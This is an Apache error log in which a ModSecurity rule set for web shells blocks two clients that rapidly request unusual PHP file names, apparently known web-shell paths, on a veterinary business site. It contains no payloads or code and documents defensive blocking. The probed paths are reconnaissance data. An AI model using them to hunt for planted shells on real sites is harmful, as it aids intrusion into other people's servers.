[Mon Apr 13 17:05:28.008159 2026] [:error] [pid 7228:tid 7234] [client 20.240.142.13:61585] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx2AEnn1dQrOSHHNVXIwAAAQQ"]
[Mon Apr 13 17:05:28.822430 2026] [:error] [pid 9314:tid 9320] [client 20.240.142.13:60480] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx2G_r4W8fX2GWyGTFfwAAAYQ"]
[Mon Apr 13 17:05:28.957866 2026] [:error] [pid 9314:tid 9316] [client 20.100.201.121:65184] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx2G_r4W8fX2GWyGTFgQAAAYA"]
[Mon Apr 13 17:05:28.982304 2026] [:error] [pid 57183:tid 57192] [client 20.100.201.121:65193] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx2DDO3t8R5NaxzYTOBgAAAUc"]
[Mon Apr 13 17:05:29.769423 2026] [:error] [pid 7228:tid 7250] [client 20.240.142.13:60500] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx2QEnn1dQrOSHHNVXKgAAARQ"]
[Mon Apr 13 17:05:30.724382 2026] [:error] [pid 7228:tid 7251] [client 20.100.201.121:63722] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx2gEnn1dQrOSHHNVXMQAAARU"]
[Mon Apr 13 17:05:31.030367 2026] [:error] [pid 63311:tid 63373] [client 20.240.142.13:60433] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx26HjrGN1MqBCVFnO-AAAAII"]
[Mon Apr 13 17:05:31.342266 2026] [:error] [pid 63309:tid 63337] [client 20.100.201.121:64642] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx20pIKZ10weXpf0UBqgAAABg"]
[Mon Apr 13 17:05:32.117404 2026] [:error] [pid 57183:tid 57201] [client 20.100.201.121:65127] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx3DDO3t8R5NaxzYTOBwAAAVA"]
[Mon Apr 13 17:05:32.622183 2026] [:error] [pid 63310:tid 63350] [client 20.100.201.121:64633] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "adyx3HoXpRU5ztmwPjIt_QAAAEY"]
[Mon Apr 13 17:05:32.697133 2026] [:error] [pid 57183:tid 57207] [client 20.100.201.121:64145] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx3DDO3t8R5NaxzYTOCAAAAVY"]
[Mon Apr 13 17:05:33.097784 2026] [:error] [pid 57183:tid 57188] [client 20.240.142.13:60539] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx3TDO3t8R5NaxzYTOCgAAAUM"]
[Mon Apr 13 17:05:33.214010 2026] [:error] [pid 63310:tid 63357] [client 20.100.201.121:64577] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx3XoXpRU5ztmwPjIt_gAAAE0"]
[Mon Apr 13 17:05:33.524599 2026] [:error] [pid 63309:tid 63319] [client 20.100.201.121:63664] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx3UpIKZ10weXpf0UBrwAAAAY"]
[Mon Apr 13 17:05:34.195594 2026] [:error] [pid 63309:tid 63322] [client 20.100.201.121:65128] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx3kpIKZ10weXpf0UBsgAAAAk"]
[Mon Apr 13 17:05:34.457181 2026] [:error] [pid 63309:tid 63325] [client 20.240.142.13:60699] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx3kpIKZ10weXpf0UBswAAAAw"]
[Mon Apr 13 17:05:34.868902 2026] [:error] [pid 63309:tid 63333] [client 20.100.201.121:64685] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx3kpIKZ10weXpf0UBtwAAABQ"]
[Mon Apr 13 17:05:35.057131 2026] [:error] [pid 63406:tid 63411] [client 20.100.201.121:65119] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx37HZEIkQ0Zmgp5oWLgAAAMA"]
[Mon Apr 13 17:05:35.587074 2026] [:error] [pid 57183:tid 57194] [client 20.100.201.121:64663] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx3zDO3t8R5NaxzYTODAAAAUk"]
[Mon Apr 13 17:05:35.775700 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:65182] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx37HZEIkQ0Zmgp5oWMAAAAMY"]
[Mon Apr 13 17:05:36.361952 2026] [:error] [pid 9314:tid 9330] [client 20.100.201.121:63635] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx4G_r4W8fX2GWyGTFiAAAAY4"]
[Mon Apr 13 17:05:36.518580 2026] [:error] [pid 57183:tid 57195] [client 20.100.201.121:65189] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx4DDO3t8R5NaxzYTOEQAAAUo"]
[Mon Apr 13 17:05:36.564296 2026] [:error] [pid 57183:tid 57203] [client 20.240.142.13:62753] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx4DDO3t8R5NaxzYTOEgAAAVI"]
[Mon Apr 13 17:05:36.747704 2026] [:error] [pid 63406:tid 63427] [client 20.100.201.121:64107] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adyx4LHZEIkQ0Zmgp5oWNAAAANA"]
[Mon Apr 13 17:05:37.221938 2026] [:error] [pid 57183:tid 57190] [client 20.100.201.121:64598] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx4TDO3t8R5NaxzYTOFAAAAUU"]
[Mon Apr 13 17:05:37.284405 2026] [:error] [pid 63406:tid 63414] [client 20.100.201.121:64632] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx4bHZEIkQ0Zmgp5oWOAAAAMM"]
[Mon Apr 13 17:05:37.796786 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:64177] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx4bHZEIkQ0Zmgp5oWPQAAANQ"]
[Mon Apr 13 17:05:37.990988 2026] [:error] [pid 63406:tid 63411] [client 20.100.201.121:64631] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adyx4bHZEIkQ0Zmgp5oWPwAAAMA"]
[Mon Apr 13 17:05:38.110169 2026] [:error] [pid 63406:tid 63434] [client 20.100.201.121:65137] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx4rHZEIkQ0Zmgp5oWQQAAANc"]
[Mon Apr 13 17:05:38.906518 2026] [:error] [pid 9314:tid 9339] [client 20.100.201.121:64615] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyx4m_r4W8fX2GWyGTFiQAAAZc"]
[Mon Apr 13 17:05:38.982404 2026] [:error] [pid 9314:tid 9324] [client 20.100.201.121:64641] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx4m_r4W8fX2GWyGTFigAAAYg"]
[Mon Apr 13 17:05:39.015451 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:65175] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adyx47HZEIkQ0Zmgp5oWTgAAANU"]
[Mon Apr 13 17:05:39.509246 2026] [:error] [pid 9314:tid 9322] [client 20.100.201.121:65169] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyx42_r4W8fX2GWyGTFjgAAAYY"]
[Mon Apr 13 17:05:39.810585 2026] [:error] [pid 9314:tid 9318] [client 20.100.201.121:64073] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx42_r4W8fX2GWyGTFkAAAAYI"]
[Mon Apr 13 17:05:39.815507 2026] [:error] [pid 63311:tid 63379] [client 20.100.201.121:63623] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "adyx46HjrGN1MqBCVFnPCAAAAIg"]
[Mon Apr 13 17:05:40.067873 2026] [:error] [pid 57183:tid 57198] [client 20.100.201.121:64584] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyx5DDO3t8R5NaxzYTOGQAAAU0"]
[Mon Apr 13 17:05:40.648071 2026] [:error] [pid 7228:tid 7248] [client 20.100.201.121:63712] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "adyx5AEnn1dQrOSHHNVXTgAAARI"]
[Mon Apr 13 17:05:40.776483 2026] [:error] [pid 7228:tid 7252] [client 20.100.201.121:64608] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx5AEnn1dQrOSHHNVXTwAAARY"]
[Mon Apr 13 17:05:41.007415 2026] [:error] [pid 63406:tid 63420] [client 20.100.201.121:64184] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyx5bHZEIkQ0Zmgp5oWVQAAAMk"]
[Mon Apr 13 17:05:41.403574 2026] [:error] [pid 7228:tid 7244] [client 20.100.201.121:65166] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "adyx5QEnn1dQrOSHHNVXUQAAAQ4"]
[Mon Apr 13 17:05:41.857961 2026] [:error] [pid 7228:tid 7232] [client 20.100.201.121:64135] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyx5QEnn1dQrOSHHNVXVAAAAQI"]
[Mon Apr 13 17:05:42.487845 2026] [:error] [pid 57183:tid 57209] [client 20.100.201.121:64589] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyx5jDO3t8R5NaxzYTOHwAAAVg"]
[Mon Apr 13 17:05:42.573056 2026] [:error] [pid 57183:tid 57205] [client 20.100.201.121:64064] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx5jDO3t8R5NaxzYTOIAAAAVQ"]
[Mon Apr 13 17:05:43.091151 2026] [:error] [pid 63311:tid 63378] [client 20.100.201.121:63625] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyx56HjrGN1MqBCVFnPCwAAAIc"]
[Mon Apr 13 17:05:43.738795 2026] [:error] [pid 57183:tid 57202] [client 20.100.201.121:65099] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "adyx5zDO3t8R5NaxzYTOJQAAAVE"]
[Mon Apr 13 17:05:43.859004 2026] [:error] [pid 57183:tid 57198] [client 20.100.201.121:63703] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyx5zDO3t8R5NaxzYTOJgAAAU0"]
[Mon Apr 13 17:05:44.540261 2026] [:error] [pid 7228:tid 7239] [client 20.100.201.121:64103] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyx6AEnn1dQrOSHHNVXWQAAAQk"]
[Mon Apr 13 17:05:44.712640 2026] [:error] [pid 63310:tid 63355] [client 20.100.201.121:64121] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyx6HoXpRU5ztmwPjIuBAAAAEs"]
[Mon Apr 13 17:05:45.294148 2026] [:error] [pid 63309:tid 63328] [client 20.100.201.121:64666] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyx6UpIKZ10weXpf0UBvAAAAA8"]
[Mon Apr 13 17:05:45.587699 2026] [:error] [pid 57183:tid 57194] [client 20.100.201.121:63685] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7logs.php"] [unique_id "adyx6TDO3t8R5NaxzYTOLgAAAUk"]
[Mon Apr 13 17:05:45.903700 2026] [:error] [pid 9314:tid 9335] [client 20.100.201.121:63620] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyx6W_r4W8fX2GWyGTFpgAAAZM"]
[Mon Apr 13 17:05:46.396187 2026] [:error] [pid 57183:tid 57209] [client 20.100.201.121:64137] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acc.php"] [unique_id "adyx6jDO3t8R5NaxzYTOMgAAAVg"]
[Mon Apr 13 17:05:46.565047 2026] [:error] [pid 57183:tid 57202] [client 20.100.201.121:65117] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyx6jDO3t8R5NaxzYTONAAAAVE"]
[Mon Apr 13 17:05:46.849087 2026] [:error] [pid 57183:tid 57198] [client 20.100.201.121:65104] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyx6jDO3t8R5NaxzYTONQAAAU0"]
[Mon Apr 13 17:05:47.353486 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:64106] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adyx67HZEIkQ0Zmgp5oWYgAAANQ"]
[Mon Apr 13 17:05:47.522789 2026] [:error] [pid 63406:tid 63421] [client 20.100.201.121:65145] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acc.php"] [unique_id "adyx67HZEIkQ0Zmgp5oWYwAAAMo"]
